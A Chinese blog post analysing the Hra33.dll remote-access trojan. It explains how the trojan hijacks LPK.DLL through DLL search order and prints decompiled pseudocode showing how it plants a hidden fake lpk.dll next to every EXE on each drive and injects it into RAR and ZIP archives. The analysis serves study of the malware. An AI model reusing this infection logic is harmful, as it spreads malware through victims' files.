欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

HRA33.DLL完整分析 LPK.DLL 的劫持 和感染ZIP RAR 实现细节

HRA33.DLL完整分析 LPK.DLL 的劫持 和感染ZIP RAR 实现细节

    xp win7的时候 lpk.dll 是很常见的,如果非system32目录下有lpk.dll 那么你就需要好好检查下你的电脑了.之前听薛大神讲过关于LPK.DLL USP.DLL 的相关流程 自己分析后更深刻了.

Hra33.dll 就是利用EXE加载dll的先后顺序的机制  如果EXE运行的当前目录下有LPK.DLL 就直接载入 而不会去系统目录找.

属于这个远控的核心DLL 从0分析一款经典的感染型远控木马

其实从Hra33.dll做的事情比较简单

1.释放一个临时文件hraxx.tmp  运行

2.将有exe的目录下释放一个LPK.DLL文件(只是名字叫lpk.dll 而且具有系统lpk.dll的所有功能

3.将没有密码的ZIP RAR  利用CMD命令 插入lpk.dll(同上)

先从DLL入口函数开始看:

if (fdwReason == 1)

{

hModule = hinstDLL;

GetModuleFileNameW(hinstDLL, (LPWSTR)&Filename, 260u);

DisableThreadLibraryCalls(hinstDLL);

if (Get_ServerNameA() == 1)

{

if (!Check_tmp() && !CreateMutexAA())   // 判断自身进程是否为临时文件程序 && 判断是否可以创建互斥体

Create_NewTem();                        // 创建一个新的临时文件并运行 还是之前的EXE  

if (Check_lpk() == 1)                   // 判断是否为lpk.dll

{

hEvent = CreateEventW(0, 1, 0, 0);

if (hEvent)

Create_Thread1();                     // 主要搞事情的函数

}

}                                           // 自身载入真正的lpk.dll 并将导出函数的地址给获取

result = Transpond_lpk_start();

}

else

{

if (!fdwReason)

{

if (hEvent)

{

SetEvent(hEvent);

WaitForSingleObject(hObject, 0xFFFFFFFF);

CloseHandle(hObject);

CloseHandle(hEvent);

}

Freelib();                                // 释放资源

}

result = 1;

}

return result;

 

Create_NewTem() 函数实现细节

Create_Thread1()  实现细节

hObject = CreateThread(0, 0,   (LPTHREAD_START_ROUTINE)Start_Search, 0, 4u,   0);// 以挂起的状态创建线程

if (!SetThreadPriority(hObject, THREAD_PRIORITY_IDLE) ||   (result = ResumeThread(hObject), result ==   -1))// 判断线程是否正常恢复

套了一层.进去看看

OD调试截图



StartAddress()函数实现细节 主要就是遍历文件 符合条件就copylpk.dll 继续遍历

if ((unsigned int)lpThreadParameter     >= 256) // 文件夹递归的时候走这里

{

lstrcpyW(&String1, (LPCWSTR)lpThreadParameter);

}

else

{

lstrcpyW(&String1, L"A:\\");            // 默认走这里

String1 += (unsigned __int16)lpThreadParameter;

}

lstrcpyW(&String2, &String1);

PathAppendW(&String1, &word_10002374);

hFindFile = FindFirstFileW(&String1,     &FindFileData);

if (hFindFile == (HANDLE)-1)

return 1;

lstrcpyW(&String1, &String2);

while (1)

{

if (!lstrcmpiW(FindFileData.cFileName, L".") || !lstrcmpiW(FindFileData.cFileName, L".."))// 文件名为 . |.. 直接下一个

goto LABEL_27;

if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)// 比较00010000是否为1 1就退出循环 判断文件名是否为目录

break;

v2 = PathFindExtensionW(FindFileData.cFileName);// 得到文件后缀 如.exe .txt

lpString2 = v2;

if (v2)

{

if (!lstrcmpiW(v2, L".EXE"))        // 筛选为EXE的后缀名

{

lstrcpyW(&String2, &String1);

PathAppendW(&String2, L"lpk.dll");

if (GetFileAttributesW(&String2) != -1)

goto LABEL_27;

CopyFileW(&Filename, &String2,     1);      // 拷贝文件到当前EXE的目录下

SetFileAttributesW(&String2, 7u);       // 设置文件属性 系统文件 隐藏 只读     FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN

}

if ((!lstrcmpiW(lpString2, L".RAR") || !lstrcmpiW(lpString2, L".ZIP"))// 筛选为RAR ZIP的后缀名

&& !FindFileData.nFileSizeHigh

&& FindFileData.nFileSizeLow < 0x3200000)

{

lstrcpyW(&String2, &String1);

PathAppendW(&String2, FindFileData.cFileName);

AppendLPK(&String2);                    // RAR路径传入

}

}

if (WaitForSingleObject(hEvent, 0x14u) != 258)

goto LABEL_14;

LABEL_27:

if (FindNextFileW(hFindFile, &FindFileData) != 1)

goto LABEL_15;

}

if (WaitForSingleObject(hEvent, 0x14u) == 258)

{

lstrcpyW(&String2, &String1);

PathAppendW(&String2, FindFileData.cFileName);

if (StartAddress(&String2))

goto LABEL_27;

}

LABEL_14:

v7 = 0;

LABEL_15:

FindClose(hFindFile);

return v7;

 

EXE的处理方式是比较简单的 我们看看怎么实现RAR里面增加LPK.dll文件的

AppendLPK(&String2);                    // RAR路径传入

 


 


RunRarCmd() 传入的命令 和等待时间 创建进程来执行该命令

[图片:720407_xjmg5dbthoc8znv.png]

 

 

还有个挺有意思的 就是当EXE程序需要调用到系统DLL的时候 如何将值传递给EXE

 

 

 



lpk.dll的导出函数一个个加载进来保存 假的的lpk.dll载入真正的lpk.dll 的导出函数 再运行就能达到这个效果了.之前没接触过 感觉很神奇..

 

Hra33.dll 

WIN7环境下 zip文件和加密后的压缩文件 可能是系统版本的原因  不会被感染  打脸

 


 


 


 


注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功